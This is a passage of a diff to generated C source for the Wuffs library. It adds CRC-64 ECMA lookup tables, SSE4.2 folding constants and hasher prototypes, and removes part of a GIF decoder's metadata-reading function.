11080421551794245673u, 9523735455073038837u, 15394057194608301281u, 14432953972299937085u, 17185658977434064729u, 17550865948466574981u, -+ 5579070418531851633u, 5801301123735731373u, 8552830750928559817u, 7736981982542757653u, 4239857041646656001u, 2826138345940532189u, 75412445699561913u, 2082177495183685733u, -+ 17161123352926621908u, 17565732457015587080u, 15417398740927075180u, 14419136389292487344u, 11066091662939297700u, 9546555762013386360u, 11695763573529760796u, 13808381012597372352u, -+ 98195412166319668u, 2067810197125185512u, 4215871218020408716u, 2841563382736944208u, 8567805054529935684u, 7712554084374493336u, 5565290193110751996u, 5824680096370817824u, -+ 4213277561403610395u, 2852497928146826439u, 118647349622822563u, 2038740285422565247u, 5603244184571253355u, 5777048188553278391u, 8511711324634206675u, 7778039831901335567u, -+ 15351860113773370363u, 14475212630091872807u, 17208772955998935107u, 17527831139023518111u, 11724816064851319947u, 13787876126790335831u, 11055209722282565427u, 9549167182608629487u, -+ 8523233093003384414u, 7756906139291137922u, 5590532753172682214u, 5799235221864313914u, 140370455597977902u, 2025555993157185778u, 4192752931662582422u, 2864620100732154698u, -+ 11041922101731072190u, 9570786891571902818u, 11736905209177070342u, 13767318537498720986u, 17187672274535555022u, 17539385849830522386u, 15374150458257759350u, 14462604578592423338u, -+ 15486092620961298855u, 14629711868178897019u, 17092483903335922207u, 17355247692313779139u, 11624791503456485079u, 13600030943165030155u, 11137009302703308143u, 9754815117126884531u, -+ 4151744643171039047u, 2626583331457439387u, 162377516962444543u, 2282879863086044451u, 5631712546292871223u, 6037452326221451755u, 8501327171535303567u, 7499692239708246611u, -+ 11158140837063703266u, 9743299917872012094u, 11602602247471462746u, 13612749016692676742u, 17105661501857119634u, 17333526894853233742u, 15473963965085515306u, 14650238604571402230u, -+ 8479714083293312002u, 7512977616177960414u, 5652276691881064378u, 6025361010828170854u, 150824891399123826u, 2303974039851176622u, 4164354990367371466u, 2604286280411140374u, -+ 5659250822143950637u, 6009834889821986545u, 8454565055791594645u, 7546392787102457161u, 4121809449076176989u, 2656298618920900993u, 211263906290727909u, 2233791159333640761u, -+ 11672732454520566221u, 13552292306546298897u, 11106145987650286197u, 9785898338790069161u, 15440531030182573757u, 14675335027319969633u, 17121240571213837573u, 17326570184971408601u, -+ 196390824332639336u, 2258328937796115892u, 4135620394250371024u, 2632959299571932684u, 8431742436040817432u, 7560729365405768388u, 5683126765473888416u, 5994308631384381820u, -+ 17135610109059871368u, 17303780593489122132u, 15425108168748986672u, 14699314298944934124u, 11130580386221503992u, 9770921945649714212u, 11649360192741635648u, 13566070240564762524u, -+ 8426555122807220790u, 7574959341548112874u, 5704995856293652878u, 5963537623700588626u, 237294699245645126u, 2208312048661695642u, 4077480570845130494u, 2700071425513574178u, -+ 11206488369142506710u, 9686112028953249034u, 11554096377106556782u, 13670376701660284594u, 17023422649268413350u, 17424940338905547386u, 15556079663802671134u, 14559229772221530562u, -+ 4089596066908350835u, 2679540256679954607u, 224121464376355531u, 2230046074588744471u, 5727171952466636291u, 5950815117732351967u, 8405427952099257787u, 7586487769270013031u, -+ 15543464952953907091u, 14581513594800801359u, 17034988434643772459u, 17403850594581005815u, 11533527867866456291u, 13682454788587061567u, 11228114617197060955u, 9672831084924650119u, -+ 17046466186006768828u, 17401835225210195296u, 15513812278582275844u, 14601417988320120536u, 11181065506345364428u, 9711332585899690512u, 11598470443728627828u, 13625782737014311336u, -+ 280740911195955804u, 2165085734748128128u, 4051111986314371556u, 2726642315882184760u, 8385505863325164844u, 7616087770173211888u, 5729240201464309396u, 5939354855465699144u, -+ 11574598932837183481u, 13641322155266051621u, 11203874897631210561u, 9696991643941850525u, 15500005765847099529u, 14624770467483748693u, 17061326039500450609u, 17377293083093715693u, -+ 5752625691707646233u, 5925581285101240517u, 8361067032314929825u, 7631051003498906493u, 4066548076212889193u, 2702667407911749557u, 266366940911429073u, 2187862166416278541u, -+ }, { -+ 0u, 6642096280510406750u, 13284192561020813500u, 16462795876764246242u, 16315823105410768893u, 13708963636559134627u, 6500836570635362113u, 439922346977066783u, -+ 6197597939812213119u, 733872460607717665u, 17174658310779658691u, 12859417258165748125u, 13001673141270724226u, 16736026809386770140u, 879844693954133566u, 5771540452186644064u, -+ 12395195879624426238u, 17305613297699152544u, 1467744921215435330u, 5220531075568771612u, 5650300446275329283u, 1316336633116425565u, 17740532779662220735u, 12258375912742239713u, -+ 18016332033719362433u, 11973850846087693279u, 4781749989466252093u, 2193612730179060579u, 1759689387908267132u, 4919860766213921826u, 11543080904373288128u, 18166453874549300382u, -+ 14614610554166352761u, 10879836598703668007u, 8253805222095936453u, 3361408799105547163u, 2935489842430870660u, 8399638907315561690u, 10441062151137543224u, 14757009366268798054u, -+ 11300600892550658566u, 13906759146888600152u, 2632673266232851130u, 8693166652788693732u, 9132946036408395259u, 2491556468171146661u, 14331668736193815879u, 11153489555886392601u, -+ 7409848711186274695u, 4249257595424012761u, 16037314857127418171u, 9413239572791867749u, 9563499978932504186u, 15606406401646028324u, 4387225460358121158u, 6976068332272625304u, -+ 3519378775816534264u, 7852640824571713702u, 9839721532427843652u, 15321459211647031322u, 15184496315767285509u, 10274783960564057947u, 7701371084599273401u, 3949009615571978215u, -+ 539203352115488887u, 6581683165424715817u, 13772373076031531211u, 16360516657443457173u, 16507610444191872906u, 13347445937900984276u, 6722817598211094326u, 99441604310980456u, -+ 5870979684861741320u, 960568039155968342u, 16799277814631123380u, 13046489736199563754u, 12904108438562707189u, 17238069777753355947u, 814716683761407561u, 6296880972452001303u, -+ 12357655745765665417u, 17821378201246059223u, 1379747099228580405u, 5694995023857257067u, 5265346532465702260u, 1530999186474390826u, 17386333305577387464u, 12494636173022434710u, -+ 18265892072816790518u, 11623803214076996520u, 4983112936342293322u, 1804507146630605588u, 2238305212630619147u, 4845162757404030037u, 12054694172541097143u, 18115614168568345833u, -+ 14819697422372549390u, 10486441695742104400u, 8498515190848025522u, 3016776137306395628u, 3442815973027425523u, 8352525304506551469u, 10925090729870978127u, 14677459070913039377u, -+ 11216336045685248625u, 14376925237369287215u, 2590274523633996493u, 9214355580338500243u, 8774450920716242316u, 2731551919773330898u, 13952136664545250608u, 11363291318662491502u, -+ 7038757551633068528u, 4432606169309893038u, 15705281649143427404u, 9644785238863483154u, 9494645848386137613u, 16136034042300943955u, 4294513027018469041u, 7472698529450626799u, -+ 4011857131457007759u, 7746628612951437521u, 10373500843358195763u, 15265904688119197805u, 15402742169198546802u, 9938598876682809132u, 7898019231143956430u, 3582070091934478224u, -+ 1078406704230977774u, 5970139571501035696u, 13163366330849431634u, 16897748309796073484u, 17049000381336047379u, 12733717820530814797u, 6107119981172920239u, 643361792051163121u, -+ 6410046491609887121u, 349161128571523535u, 16190407203032477997u, 13583585392940618099u, 13445635196422188652u, 16624205252526067250u, 198883208621960912u, 6840937431151644302u, -+ 11741959369723482640u, 18365299631022420558u, 1921136078311936684u, 5081265949533565682u, 4656338829252136429u, 2068229881835728307u, 17925537898651110737u, 11883093821164285199u, -+ 17650059563187254127u, 12167860639460954929u, 5524638460789093331u, 1190641388963713933u, 1629433367522815122u, 5382257181810330828u, 12593761944904002606u, 17504208224571739248u, -+ 14134199920450915223u, 10956049054195313609u, 8970094247992396587u, 2328741787718953845u, 2759494198457160810u, 8819954874021999668u, 11389990047714514134u, 13996106797082358920u, -+ 10530693064931404520u, 14846677937748691638u, 3061998372948781652u, 8526176301674629642u, 8091274350704555285u, 3198835872954668363u, 14416890915810522537u, 10682083699634542071u, -+ 7503655637611612521u, 3751252662574033207u, 15021960841764981205u, 10112215774463453579u, 9966225872684586644u, 15448000658827392714u, 3609014293261211176u, 7942304654960916086u, -+ 4476610425261238294u, 7065420035288041544u, 9690325514808060074u, 15733189881789008116u, 15874467260079749099u, 9250420838410950581u, 7212375292832610135u, 4051821833783301897u, -+ 688179623118076057u, 6170372224719608007u, 12814440204992854053u, 17148438651140642939u, 16997030381696051044u, 13244209591132604218u, 6033552274612791256u, 1123099122930255750u, -+ 6885631946054851046u, 262293608834169272u, 16705050609013102938u, 13544914965422553348u, 13683025758949262875u, 16271127284595091013u, 412415468322195111u, 6454862019777308409u, -+ 11927910341603441255u, 17988788832627006009u, 2148953154424896219u, 4755777988240824965u, 5180549047267992986u, 2001980365486523844u, 18428711160677000486u, 11786650616022549880u, -+ 17548901841432484632u, 12657171448130714438u, 5463103839546661796u, 1728714438829439994u, 1290082918514197733u, 5605359706950509755u, 12231113943998710873u, 17694874057198724103u, -+ 14077515103266137056u, 11488706867561743294u, 8865212338619786076u, 2822341649514070786u, 2391433177253116957u, 9015472726907116611u, 11054926469989481633u, 14215482952762858751u, -+ 10763369033251996319u, 14515766235920655041u, 3244216653174833699u, 8153963644554617469u, 8589026054036938082u, 3107253741862419772u, 14945397058901253598u, 10612099275430968704u, -+ 8023714262914015518u, 3707732413820797248u, 15493257225902875042u, 10029072425162228220u, 10174906129304731363u, 15067338284929851069u, 3850131242430201439u, 7584939832928591361u, -+ 4133108057121652833u, 7311251501606674495u, 9295800309597257949u, 15937155243838988419u, 15796038462287912860u, 9735579710801330114u, 7164140183868956448u, 4558017662132191102u, -+ }, { -+ 0u, 7026975924517234630u, 14053951849034469260u, 11713158812725061706u, 1498566550037692829u, 8453026741656872539u, 15547077823203331601u, 13134332388348864983u, -+ 2997133100075385658u, 5193532126013515004u, 16906053483313745078u, 10023477084983765872u, 4421425403924087463u, 6690338751863514465u, 18326734871926164779u, 11516110084014746349u, -+ 5994266200150771316u, 3651077923391955378u, 10387064252027030008u, 17411644826573123134u, 5180286430728521705u, 2765428220391841839u, 9578516152858789989u, 16530863678517358499u, -+ 8842850807848174926u, 1962664170658947720u, 13380677503727028930u, 15579466327313067268u, 7958959654645957843u, 1150444288916906773u, 12500388506175163231u, 14771411239789669529u, -+ 11988532400301542632u, 14401112944851970862u, 7302155846783910756u, 347530691846251682u, 12867955000885349749u, 15208934917731379891u, 8186843028093092601u, 1160054057126929727u, -+ 10360572861457043410u, 17171366937719040020u, 5530856440783683678u, 3262112454209283992u, 11170013709381963343u, 18052407625221859721u, 6344013830343901635u, 4147432248901248517u, -+ 17685701615696349852u, 10733466276663946586u, 3925328341317895440u, 6340298665266291414u, 16265807495604570881u, 9241127928571882695u, 2500178400086410381u, 4843267757373072203u, -+ 15917919309291915686u, 13646779991004769888u, 2300888577833813546u, 9109287431904666092u, 14423962049646856251u, 12225267820500938749u, 803223682168014775u, 7683504840782913649u, -+ 16025789128531904341u, 13827140552201887891u, 2120809441137969369u, 9001136188144267039u, 14604311693567821512u, 12333148557000565006u, 695061383692503364u, 7503436758785666690u, -+ 17866059964468495471u, 10841338299774886825u, 3817174930229677027u, 6160221704524114981u, 16373686056186185202u, 9421479739856314932u, 2320108114253859454u, 4735107671358188984u, -+ 10180636633891078433u, 17063072784830850791u, 5638869205660782253u, 3442330069771397483u, 11061712881567367356u, 17872478072565786490u, 6524224908418567984u, 4255451551249279222u, -+ 11880240423364919835u, 14221174549956093405u, 7482375666214882711u, 455541244296276561u, 12688027660687803270u, 15100631886079386688u, 8294864497802497034u, 1340262959281482700u, -+ 8662912472460168125u, 1854372134182743163u, 13488687978245964849u, 15759686224643400695u, 7850656682635790880u, 970516889046347238u, 12680597330532582828u, 14879432787265004138u, -+ 5885971969496909959u, 3471141773623390017u, 10567281927262422795u, 17519657531808653517u, 5000356800172820762u, 2657127470508076764u, 9686535514746144406u, 16711074697083887952u, -+ 3105005063510429129u, 5373890534425651727u, 16725976600334615109u, 9915323596096578947u, 4601777155667627092u, 6798217371950640018u, 18218574863809332184u, 11336039720248747038u, -+ 180360639130832627u, 7134845665859430709u, 13945800545768817023u, 11533079735570376377u, 1606447364336029550u, 8633376307814525096u, 15367009681565827298u, 13026170149548992292u, -+ 3321048140255203375u, 5733767250183223273u, 17086394267351834531u, 10131907641284540517u, 4241618882275938738u, 6582455852881933940u, 18002272376288534078u, 10975340495589554680u, -+ 540800415553098517u, 7351451582082282707u, 14161821513074465945u, 11892934580260027231u, 1390122767385006728u, 8272655212095272270u, 15006873517571333380u, 12810430501506267842u, -+ 9023334491325470299u, 2070960623556915613u, 13704726720259086807u, 16119558478964112913u, 7634349860459354054u, 609813203025260544u, 12320443409048229962u, 14663675712440713100u, -+ 6101997361665611105u, 3831000989484282535u, 10927717295939115757u, 17736259059608567083u, 4640216228507718908u, 2441383434118427450u, 9470215342716377968u, 16350357972595129526u, -+ 9820495924665654471u, 16847328885758262017u, 5422549171225416523u, 3081613207998608525u, 11277738411321564506u, 18232337151134792348u, 6884660139542794966u, 4472053216375158032u, -+ 11663933463862517757u, 13860471001487472699u, 7122221882022416497u, 239784031886489527u, 13048449816837135968u, 15317220237859158438u, 8510903102498558444u, 1700135351162517034u, -+ 15809464669166377651u, 13466419319190748533u, 1760673139591009599u, 8785396677427507961u, 14964751332429765422u, 12549754610540477672u, 911082488592553122u, 7863291466191287140u, -+ 17505901828360837513u, 10625576643111779919u, 3600872305391818245u, 5799522617425244611u, 16589728995604994068u, 9781356593166352338u, 2680525918562965400u, 4951691578960654430u, -+ 17325824944920336250u, 10517423154702741692u, 3708744268365486326u, 5979881026315534128u, 16481568986909349607u, 9601286230029496609u, 2860877669727689067u, 5059570199676927661u, -+ 15701313365271581760u, 13286340242614875014u, 1941033778092694476u, 8893266419348519946u, 14784683190314112477u, 12441592372201976347u, 1018963302412737105u, 8043641032810315159u, -+ 11771943938993819918u, 14040690898222216904u, 6942283547246780034u, 131491994814691652u, 13228658641689481363u, 15425241784889898837u, 8402600130983321375u, 1520207950847359193u, -+ 10000713600345641524u, 16955341590498866674u, 5314254941016153528u, 2901677057735113342u, 11385757773804508073u, 18412548169088955503u, 6704730509582687269u, 4363752465879022563u, -+ 6210010127020858258u, 4011218604585024596u, 10747781068851303454u, 17627964906259002328u, 4820427307211528719u, 2549402735887646153u, 9361914515530929539u, 16170428419360240197u, -+ 9203554311335254184u, 2178971175377796974u, 13596434743901280036u, 15939620083439087842u, 7742371330630129973u, 790022104701665011u, 12140516069312059065u, 14555372680310567295u, -+ 360721278261665254u, 7243300338934250016u, 14269691331718861418u, 12073295142069515692u, 1281960468464901243u, 8092587130592951229u, 15187223161047700471u, 12918311238500824113u, -+ 3212894728672059100u, 5553690289885640986u, 17266752615629050192u, 10239779664840078998u, 4061548595831021377u, 6474295767462639751u, 18110150936257777869u, 11155692307469580043u, -+ }, { -+ 0u, 2517245393515406572u, 5034490787030813144u, 7435750759411199284u, 10068981574061626288u, 12201157653998401372u, 14871501518822398568u, 17045318164640841348u, -+ 9628913577918544357u, 12056075433989135625u, 13870769438669140029u, 16326061061730899153u, 1016952077871524437u, 3239211695253081785u, 5459183210385793933u, 7578968205522831201u, -+ 11067918171351838031u, 13508029996328618403u, 15872723984458359959u, 18349972777811820667u, 1307470557354262271u, 3515654148887976467u, 6339673239971903271u, 8436375012170683339u, -+ 2033904155743048874u, 4528066323082129478u, 6478423390506163570u, 8865607338129291678u, 10918366420771587866u, 13072499669943034870u, 15157936411045662402u, 17344703028974807598u, -+ 11667391723826758683u, 9441211325989495031u, 16444045520167767491u, 14329311757255665967u, 3050858413050517419u, 628778578755597127u, 8036894684654706291u, 5577642697640442527u, -+ 2614941114708524542u, 478839856218937618u, 7031308297775952934u, 4862538486186004682u, 12679346479943806542u, 10167187506301176482u, 16872750024341366678u, 14467534086004917114u, -+ 4067808311486097748u, 1917635425212288440u, 9056132646164258956u, 6864284009665987680u, 12956846781012327140u, 10457633378212404744u, 17731214676258583356u, 15347951510183778256u, -+ 13678285260964991153u, 11474057634298917981u, 17873974704293108073u, 15772186515461651845u, 3922409453435093761u, 1477250791027468269u, 8336488571297909465u, 5863164957556321845u, -+ 15063804914172139187u, 17573731408537121375u, 10724047561790938987u, 13131499433903012743u, 6535100908406441219u, 8673469987586793967u, 2265113888856263899u, 4431612735036172343u, -+ 6101716826101034838u, 8521560882533092282u, 1257557157511194254u, 3719041779816530530u, 16073789369309412582u, 18302240886422657034u, 11155285395280885054u, 13267751491267498450u, -+ 5229882229417049084u, 7672809353916620560u, 957679712437875236u, 3433240205686757064u, 14062616595551905868u, 16269110787469675680u, 9725076972372009364u, 11824592944582215032u, -+ 14786588404820918809u, 17283564772171425525u, 9865866699426761665u, 12251361247433944877u, 5082513026899726761u, 7234957975966594373u, 240568853608110193u, 2430150771060047005u, -+ 8135616622972195496u, 5911125624750880324u, 3835270850424576880u, 1717722887501053852u, 18112265292328517912u, 15687370158510810612u, 13728568019331975360u, 11271004332422294572u, -+ 17674167644946721613u, 15539754686561718177u, 12725302718847165077u, 10553717607734429305u, 9150035367232403709u, 6635062193578351633u, 4261933579054297381u, 1858407040333796809u, -+ 16825062113507622887u, 14668696227990231819u, 12439147139764057663u, 10254616302904316627u, 7116415003206659159u, 4624520499557157051u, 2818284765131990415u, 428829699325493603u, -+ 7844818906870187522u, 5634399380472423150u, 2954501582054936538u, 860032292373900086u, 16672977142595818930u, 14235136279826723166u, 11726329915112643690u, 9246813302127474822u, -+ 3513487962258617315u, 1309817375275636495u, 8438743075148003899u, 6337546835477044951u, 13510341259434958931u, 11065716548023207103u, 18347741267953084811u, 15874986514718330215u, -+ 13070201816812882438u, 10920562880461237994u, 17346939975173587934u, 15155660198108440370u, 4530227777712527798u, 2031571415669472602u, 8863225470072344686u, 6480554254231811202u, -+ 12203433652202069676u, 10066744842596399680u, 17043121765066184564u, 14873799311837557656u, 2515114315022388508u, 2382082824317424u, 7438083559633061060u, 5032329272252129320u, -+ 3241337884980569929u, 1014584229661574053u, 7576621447749742225u, 5461349336866867837u, 12053812688995611897u, 9631145302510833685u, 16328262745174523169u, 13868458115447806413u, -+ 10459764458834098168u, 12954464700354433812u, 15345618707833241120u, 17733376188870843084u, 1915359424875750472u, 4070045040789094564u, 6866480411373514128u, 9053834855311329660u, -+ 1479513538183220765u, 3920177730975673073u, 5860963271950469061u, 8338799892386374441u, 11471931442405006765u, 13680653107046267201u, 15774533275401163893u, 17871808579940708505u, -+ 626467317811485367u, 3053060038512016987u, 5579874205336949615u, 8034632152261867395u, 9443377510452431111u, 11665044903776710123u, 14326943696444768479u, 16446171926791300147u, -+ 10165026053799453522u, 12681679222183806910u, 14469915951933188746u, 16870619158449294950u, 481137707216220386u, 2612744652856644622u, 4860301542120094010u, 7033584512875404758u, -+ 16271233245944390992u, 14060243759811248572u, 11822251249501760648u, 9727246909562751076u, 7670541700849153760u, 5232109988680716812u, 3435445775002107704u, 955373222128557012u, -+ 7237229143405862069u, 5080272407415421017u, 2427958334666397037u, 242871556844564865u, 17281429885116092165u, 14788965422804986857u, 12253699033039161053u, 9863708918048465457u, -+ 8671167069616523295u, 6537293559533907187u, 4433853414635209159u, 2262842661302265131u, 17575888975148309423u, 15061467343334031171u, 13129122476067492471u, 10726182388697724571u, -+ 18300070734464807418u, 16076131279156974870u, 13270124387156703266u, 11153162876657622222u, 8523867158108594762u, 6099511471519499942u, 3716814080667593618u, 1259824750463930238u, -+ 4622362935074513227u, 7118752576211060135u, 431206655032469651u, 2816149936058911871u, 14670999143827763963u, 16822869460218058263u, 10252375625438018339u, 12441418369480155087u, -+ 14232830006413318318u, 16675182499310091330u, 9249040999114314102u, 11724062320027170202u, 5636569530263980830u, 7842476994894082034u, 857659398650987206u, 2956624102806742570u, -+ 15689637813740375044u, 18110037535197587688u, 11268798760944846300u, 13730874507508556080u, 5909003164109873076u, 8137989456584309592u, 1720064584747800172u, 3833100915362378368u, -+ 6637197082762229217u, 9147658351414628621u, 1856069252600036409u, 4264091358266300629u, 15537483516989711953u, 17676408262268928701u, 10555910046260817801u, 12723000017772809061u, -+ }, { -+ 0u, 15762200328042667840u, 2856835172924432389u, 18238190752146915141u, 5713670345848864778u, 10805715811487326026u, 7561135427655163919u, 12848797446532677455u, -+ 11427340691697729556u, 4911321075843194708u, 13345174655120580625u, 7173389830452510545u, 15122270855310327838u, 820654137405644638u, 17760118084036943899u, 3226275954771115867u, -+ 12678913378224905901u, 8451595299172663789u, 9822642151686389416u, 5976168202979041768u, 16194808345499688615u, 4179641502022828519u, 14346779660905021090u, 2135996745225445858u, -+ 3558579666237890233u, 16995468946051088889u, 1641308274811289276u, 14733962144962732540u, 9090961916423626419u, 11859948271085519347u, 6452551909542231734u, 9453764156601606646u, -+ 14785799433083167711u, 1697614691135618207u, 16903190598345327578u, 3470771065211313306u, 9402037001392841685u, 6396285171454065813u, 11952336405958083536u, 9178809987380452496u, -+ 6027971268800324555u, 9878982515431963787u, 8359283004045657038u, 12591138999497481358u, 2084233168694272961u, 14290549069261356161u, 4271993490450891716u, 16282692837778922628u, -+ 7117159332475780466u, 13293411258189767218u, 4999205320339463543u, 11519692655715205687u, 3282616549622578552u, 17811921192019632696u, 732879648334208381u, 15029958398333780541u, -+ 18181923832847252838u, 2805107922438644262u, 15850048426093911395u, 92388385340408355u, 12905103819084463468u, 7612972483059622444u, 10717907374994120041u, 5621392111171994153u, -+ 629311348378851643u, 15133597752622646907u, 3395229382271236414u, 17699378041462564478u, 5183867188229904689u, 11335100742646646385u, 6941542130422626612u, 13469099241846138484u, -+ 10821536956051937583u, 5517832210058282607u, 12792570342908131626u, 7725577015716947562u, 15665448522205731109u, 277059068684322405u, 18357619974760904992u, 2629481737494357600u, -+ 12055942537600649110u, 9075274912216783062u, 9289461107078326163u, 6508930745710590163u, 16718566008091314076u, 3655465612432595164u, 14961454118931310489u, 1522030784741112025u, -+ 4168466337388545922u, 16386289672930760898u, 2196870928291817351u, 14177982363995224263u, 8543986980901783432u, 12406505804242475208u, 5852377756745475981u, 10054645982306597069u, -+ 14234318664951560932u, 2248669261341992356u, 16298510681658284769u, 4076149859246245281u, 9998410640678927086u, 5800610134637962670u, 12494386096293518059u, 8636334373997692331u, -+ 6565233099245157104u, 9341293662428177840u, 8987461698644630261u, 11963660006880118197u, 1465759296668416762u, 14909722918146729402u, 3743309483160705791u, 16810949547632248255u, -+ 7673845564465570889u, 12736298827739970313u, 5610215844877288524u, 10909381007990496012u, 2681314179816367171u, 18413922163761052419u, 184776770680816710u, 15577635352405072646u, -+ 17647610443766686813u, 3338994288425483037u, 15225944966119244888u, 717191546761911064u, 13520897736746902615u, 6997878541721926423u, 11242784222343988306u, 5096087965850491666u, -+ 1258622696757703286u, 14684288965200833846u, 3950222953022231155u, 17036158029906267443u, 6790458764542472828u, 9548224856613104956u, 8762045755503235705u, 11756540858562383161u, -+ 10367734376459809378u, 6151638724996853026u, 12124837022850257511u, 8285082520580115751u, 13883084260845253224u, 1879138195689975080u, 16649556998353834605u, 4445490780332133677u, -+ 13727827248377474267u, 7223104792207356827u, 11035664420116565214u, 4870673773980832670u, 17422178244240010449u, 3131857036752565137u, 15451154031433895124u, 924103331921597332u, -+ 2311784730144877775u, 18062687245331231631u, 554118137368644810u, 15928680121837474698u, 8024872609708797125u, 13105623011270275973u, 5258963474988715200u, 10539833548380279680u, -+ 15872427342139003305u, 502333042764009193u, 18150549824433566124u, 2404114375865757420u, 10596187595637903779u, 5310779519913856739u, 13017861491421180326u, 7932573568563556070u, -+ 4814384572959953341u, 10983915471956430589u, 7310931224865190328u, 13820193315420761848u, 980423156880069047u, 15503004023780282103u, 3044061569482224050u, 17329913425393921778u, -+ 8336932674777091844u, 12181156958151692356u, 6059373863990406913u, 10279938678082531393u, 4393741856583634702u, 16593268045114871886u, 1971504083133951755u, 13970910599835103307u, -+ 17087973961803566864u, 4006576835745435728u, 14591990156772618005u, 1170861220680101973u, 11704755513490951962u, 8705792948709298266u, 9640554597612056351u, 6878321524855255135u, -+ 1858937689852799821u, 14083548048513152013u, 4497338522683984712u, 16489741062169236488u, 6235036951360285511u, 10104345546597921799u, 8152299718492490562u, 12365860697102636034u, -+ 9753200483853429593u, 6765745319621112857u, 11601220269275925340u, 8809399250468705308u, 14416405870873226067u, 1346516287098352659u, 17272668747995384662u, 3821952007586370582u, -+ 13130466198490314208u, 7820039919040899744u, 10492627387899532773u, 5414409408661555877u, 17974923397289260522u, 2579810761044912810u, 16057098401758057967u, 317732763665910447u, -+ 2931518593336833524u, 17442526084696124084u, 1084062204544407025u, 15399436031514938033u, 7486618966321411582u, 13644576356632980158u, 4629793036166665723u, 11168576964637084347u, -+ 15347691128931141778u, 1027777753507534802u, 17534896747071563927u, 3019349226222860247u, 11220431689754577048u, 4686116923914377176u, 13552315720802183325u, 7398828111596124125u, -+ 5362628359632734342u, 10436379358185592774u, 7912374160093407363u, 13218332977821366211u, 369553541361633420u, 16113456511805446092u, 2487515902914439305u, 17887166489985742793u, -+ 8865757316743550527u, 11653040814255671679u, 6677988576850966074u, 9660905738751846778u, 3765703796660934197u, 17220887603689539957u, 1434383093523822128u, 14508740362393577840u, -+ 16546065181022836267u, 4549193289962883435u, 13995757083443852846u, 1766676892172462446u, 12309576339732698657u, 8100554995509053793u, 10192175931700983332u, 6327407589325138276u, -+ }, -+}; - -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; --} -+static const uint8_t -+WUFFS_CRC64__ECMA_X86_SSE42_FOLD1[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 228u, 58u, 57u, 202u, 151u, 212u, 93u, 224u, -+ 64u, 95u, 135u, 199u, 175u, 149u, 190u, 218u, -+}; - --// -------- func gif.decoder.do_tell_me_more -+static const uint8_t -+WUFFS_CRC64__ECMA_X86_SSE42_FOLD2[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 68u, 250u, 158u, 138u, 0u, 91u, 9u, 96u, -+ 81u, 175u, 225u, 15u, 163u, 83u, 230u, 59u, -+}; -+ -+static const uint8_t -+WUFFS_CRC64__ECMA_X86_SSE42_FOLD4[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 243u, 65u, 212u, 157u, 187u, 239u, 227u, 106u, -+ 244u, 45u, 132u, 167u, 84u, 96u, 31u, 8u, -+}; -+ -+static const uint8_t -+WUFFS_CRC64__ECMA_X86_SSE42_FOLD8[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 16u, 204u, 79u, 29u, 215u, 87u, 135u, -+ 64u, 231u, 61u, 247u, 42u, 107u, 216u, 215u, -+}; -+ -+static const uint8_t -+WUFFS_CRC64__ECMA_X86_SSE42_MUPX[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 213u, 99u, 41u, 23u, 108u, 70u, 62u, 156u, -+ 133u, 30u, 14u, 175u, 43u, 175u, 216u, 146u, -+}; -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__do_tell_me_more( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+static wuffs_base__empty_struct -+wuffs_crc64__ecma_hasher__up( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x); - -- uint64_t v_chunk_length = 0; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_crc64__ecma_hasher__up__choosy_default( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_crc64__ecma_hasher__up_x86_sse42( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) - -- uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+// ---------------- VTables - -- if ((self->private_impl.f_call_sequence & 16u) == 0u) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- goto exit; -- } -- if (self->private_impl.f_metadata_fourcc == 0u) { -- status = wuffs_base__make_status(wuffs_base__error__no_more_information); -- goto exit; -- } -- while (true) { -- while (true) { -- if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_io_position) { -- if (a_minfo != NULL) { -- wuffs_base__more_information__set(a_minfo, -- 2u, -- 0u, -- self->private_impl.f_metadata_io_position, -- 0u, -- 0u); -- } -- status = wuffs_base__make_status(wuffs_base__suspension__mispositioned_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- continue; -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (a_minfo != NULL) { -- wuffs_base__more_information__set(a_minfo, -- 0u, -- 0u, -- 0u, -- 0u, -- 0u); -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- continue; -- } -- break; -- } -- v_chunk_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); -- if (v_chunk_length <= 0u) { -- iop_a_src += 1u; -- break; -- } -- if 